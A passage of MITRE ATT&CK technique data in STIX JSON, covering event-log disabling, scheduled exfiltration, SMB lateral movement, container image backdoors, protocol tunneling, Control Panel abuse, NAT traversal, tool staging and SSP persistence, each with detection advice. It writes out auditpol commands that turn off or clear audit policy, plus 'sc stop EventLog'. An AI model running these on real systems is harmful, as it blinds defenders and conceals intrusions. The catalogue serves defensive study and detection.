For example, auditpol /set /category:”Account Logon” /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco)\n\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Prasanth Sadanala, Cigna Information Protection (CIP) - Threat Response Engineering Team","Lucas Heiligenstein"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor processes and command-line arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering) \n\nIn Event Viewer, Event ID 1102 under the “Security” Windows Log and Event ID 104 under the “System” Windows Log both indicate logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control Manager Event ID 7035` in Event Viewer may indicate the termination of the EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs, e.g. non-sequential Event Record IDs, may indicate that the logs may have been tampered.\n\nMonitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control`, which may disable Event Viewer.(Citation: def_ev_win_event_logging)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.3","x_mitre_data_sources":["Sensor Health: Host Status","Command: Command Execution","Windows Registry: Windows Registry Key Modification","Script: Script Execution","Process: Process Creation","Windows Registry: Windows Registry Key Creation","Application Log: Application Log Content"],"x_mitre_defense_bypassed":["Log analysis"],"type":"attack-pattern","id":"attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a","created":"2020-02-21T20:46:36.688Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1562/002","external_id":"T1562.002"},{"source_name":"Disable_Win_Event_Logging","description":" dmcxblue. (n.d.). Disable Windows Event Logging. Retrieved September 10, 2021.","url":"https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging"},{"source_name":"def_ev_win_event_logging","description":"Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021.","url":"https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/"},{"source_name":"EventLog_Core_Technologies","description":"Core Technologies. (2021, May 24). Essential Windows Services: EventLog / Windows Event Log. Retrieved September 14, 2021.","url":"https://www.coretechnologies.com/blog/windows-services/eventlog/"},{"source_name":"Audit_Policy_Microsoft","description":"Daniel Simpson. (2017, April 19). Audit Policy. Retrieved September 13, 2021.","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy"},{"source_name":"Windows Log Events","description":"Franklin Smith. (n.d.). Windows Security Log Events. Retrieved February 21, 2020.","url":"https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/"},{"source_name":"disable_win_evt_logging","description":"Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.","url":"https://ptylu.github.io/content/report/report.html?report=25"},{"source_name":"auditpol","description":"Jason Gerend, et al. (2017, October 16). auditpol. Retrieved September 1, 2021.","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol"},{"source_name":"winser19_file_overwrite_bug_twitter","description":"Naceri, A. (2021, November 7). Windows Server 2019 file overwrite bug. Retrieved April 7, 2022.","url":"https://web.archive.org/web/20211107115646/https://twitter.com/klinix5/status/1457316029114327040"},{"source_name":"T1562.002_redcanaryco","description":"redcanaryco. (2021, September 3). T1562.002 - Disable Windows Event Logging. Retrieved September 13, 2021.","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md"},{"source_name":"Advanced_sec_audit_policy_settings","description":"Simpson, D. et al. (2017, April 19). Advanced security audit policy settings. Retrieved September 14, 2021.","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings"},{"source_name":"auditpol.exe_STRONTIC","description":"STRONTIC. (n.d.). auditpol.exe. Retrieved September 9, 2021.","url":"https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html"},{"source_name":"evt_log_tampering","description":"svch0st. (2020, September 30). Event Log Tampering Part 1: Disrupting the EventLog Service. Retrieved September 14, 2021.","url":"https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466","type":"attack-pattern","created":"2017-05-31T21:30:34.139Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1029","external_id":"T1029"}],"modified":"2020-03-28T00:26:48.769Z","name":"Scheduled Transfer","description":"Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_detection":"Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Connection Creation"],"x_mitre_is_subtechnique":false},{"modified":"2023-07-28T17:34:51.250Z","name":"SMB/Windows Admin Shares","description":"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.\n\nSMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.\n\nWindows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_deprecated":false,"x_mitre_detection":"Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne)(Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting WMI Persistence)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Network Share: Network Share Access","Network Traffic: Network Traffic Flow","Logon Session: Logon Session Creation","Network Traffic: Network Connection Creation","Process: Process Creation","Command: Command Execution"],"x_mitre_system_requirements":["SMB enabled; Host/network firewalls not blocking SMB ports between source and destination; Use of domain account in administrator group on remote system or default system admin account."],"type":"attack-pattern","id":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","created":"2020-02-11T18:25:28.212Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1021/002","external_id":"T1021.002"},{"source_name":"Medium Detecting WMI Persistence","description":"French, D. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019.","url":"https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96"},{"source_name":"TechNet RPC","description":"Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.","url":"https://technet.microsoft.com/en-us/library/cc787851.aspx"},{"source_name":"Microsoft Admin Shares","description":"Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.","url":"http://support.microsoft.com/kb/314984"},{"source_name":"Windows Event Forwarding Payne","description":"Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.","url":"https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem"},{"source_name":"Lateral Movement Payne","description":"Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.","url":"https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts"},{"source_name":"Wikipedia Server Message Block","description":"Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.","url":"https://en.wikipedia.org/wiki/Server_Message_Block"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["IaaS","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Yossi Weizman, Azure Defender Research Team","Vishwas Manral, McAfee","Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f","type":"attack-pattern","created":"2019-09-04T12:04:03.552Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1525","url":"https://attack.mitre.org/techniques/T1525"},{"source_name":"Rhino Labs Cloud Image Backdoor Technique Sept 2019","url":"https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/","description":"Rhino Labs. (2019, August). Exploiting AWS ECR and ECS with the Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019."},{"source_name":"Rhino Labs Cloud Backdoor September 2019","url":"https://github.com/RhinoSecurityLabs/ccat","description":"Rhino Labs. (2019, September). Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019."}],"modified":"2022-03-08T21:27:49.094Z","name":"Implant Internal Image","description":"Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor interactions with images and containers by users to identify ones that are added or modified anomalously.\n\nIn containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration. ","x_mitre_version":"2.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Image: Image Metadata","Image: Image Creation","Image: Image Modification"],"x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","type":"attack-pattern","created":"2020-03-15T16:03:39.082Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1572","url":"https://attack.mitre.org/techniques/T1572"},{"source_name":"SSH Tunneling","url":"https://www.ssh.com/ssh/tunneling","description":"SSH.COM. (n.d.). SSH tunnel. Retrieved March 15, 2020."},{"source_name":"BleepingComp Godlua JUL19","url":"https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/","description":"Gatlan, S. (2019, July 3). New Godlua Malware Evades Traffic Monitoring via DNS over HTTPS. Retrieved March 15, 2020."},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-27T17:15:35.372Z","name":"Protocol Tunneling","description":"Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. \n\nThere are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling) \n\n[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19) \n\nAdversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol or Service Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Monitoring for systems listening and/or establishing external connections using ports/protocols commonly associated with tunneling, such as SSH (port 22). Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client. \n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content","Network Traffic: Network Connection Creation"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["ESET"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f","type":"attack-pattern","created":"2020-01-23T19:59:52.630Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1218.002","url":"https://attack.mitre.org/techniques/T1218/002"},{"source_name":"Microsoft Implementing CPL","description":"M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.","url":"https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"},{"url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf","description":"Mercês, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.","source_name":"TrendMicro CPL Malware Jan 2014"},{"url":"https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/","description":"Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.","source_name":"TrendMicro CPL Malware Dec 2013"},{"url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/","description":"Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.","source_name":"Palo Alto Reaver Nov 2017"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2022-03-11T19:01:55.821Z","name":"Control Panel","description":"Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\n\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\n\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor and analyze activity related to items associated with CPL files, such as the control.exe and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace and HKEY_CLASSES_ROOT\\CLSID\\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the CPLs and Extended Properties Registry keys of HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}).(Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Creation","Module: Module Load","Windows Registry: Windows Registry Key Modification","Command: Command Execution","Process: OS API Execution","Process: Process Creation"],"x_mitre_defense_bypassed":["Application control"],"x_mitre_permissions_required":["User","Administrator","SYSTEM"]},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de","type":"attack-pattern","created":"2020-10-19T16:48:08.241Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1599.001","url":"https://attack.mitre.org/techniques/T1599/001"},{"source_name":"RFC1918","url":"https://tools.ietf.org/html/rfc1918","description":"IETF Network Working Group. (1996, February). Address Allocation for Private Internets. Retrieved October 20, 2020."}],"modified":"2020-10-21T01:45:58.951Z","name":"Network Address Translation Traversal","description":"Adversaries may bridge network boundaries by modifying a network device’s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\n\nWhen an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. \n\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Consider monitoring network traffic on both interfaces of border network devices. Compare packets transmitted by the device between networks to look for signs of NAT being implemented. Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3. In some cases, Port Address Translation (PAT) may also be used by an adversary.\n\nMonitor the border network device’s configuration to determine if any unintended NAT rules have been added without authorization.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content"],"x_mitre_permissions_required":["Administrator"]},{"modified":"2022-10-20T20:16:32.599Z","name":"Upload Tool","description":"Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nTools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications.(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Intezer App Service Phishing)\n\nAdversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).","x_mitre_platforms":["PRE"],"x_mitre_is_subtechnique":true,"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_data_sources":["Internet Scan: Response Content"],"type":"attack-pattern","id":"attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d","created":"2021-03-17T20:31:07.828Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1608/002","external_id":"T1608.002"},{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"},{"source_name":"Malwarebytes Heroku Skimmers","description":"Jérôme Segura. (2019, December 4). There's an app for that: web skimmers found on PaaS Heroku. Retrieved August 18, 2022.","url":"https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku"},{"source_name":"Dragos Heroku Watering Hole","description":"Kent Backman. (2021, May 18). When Intrusions Don’t Align: A New Water Watering Hole and Oldsmar. Retrieved August 18, 2022.","url":"https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/"},{"source_name":"Intezer App Service Phishing","description":"Paul Litvak. (2020, October 8). Kud I Enter Your Server? New Vulnerabilities in Microsoft Azure. Retrieved August 18, 2022.","url":"https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462","type":"attack-pattern","created":"2020-01-24T17:16:11.806Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1547.005","url":"https://attack.mitre.org/techniques/T1547/005"},{"url":"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html","description":"Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.","source_name":"Graeber 2014"},{"url":"https://technet.microsoft.com/en-us/library/dn408187.aspx","description":"Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.","source_name":"Microsoft Configure LSA"}],"modified":"2020-03-25T15:42:48.910Z","name":"Security Support Provider","description":"Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL 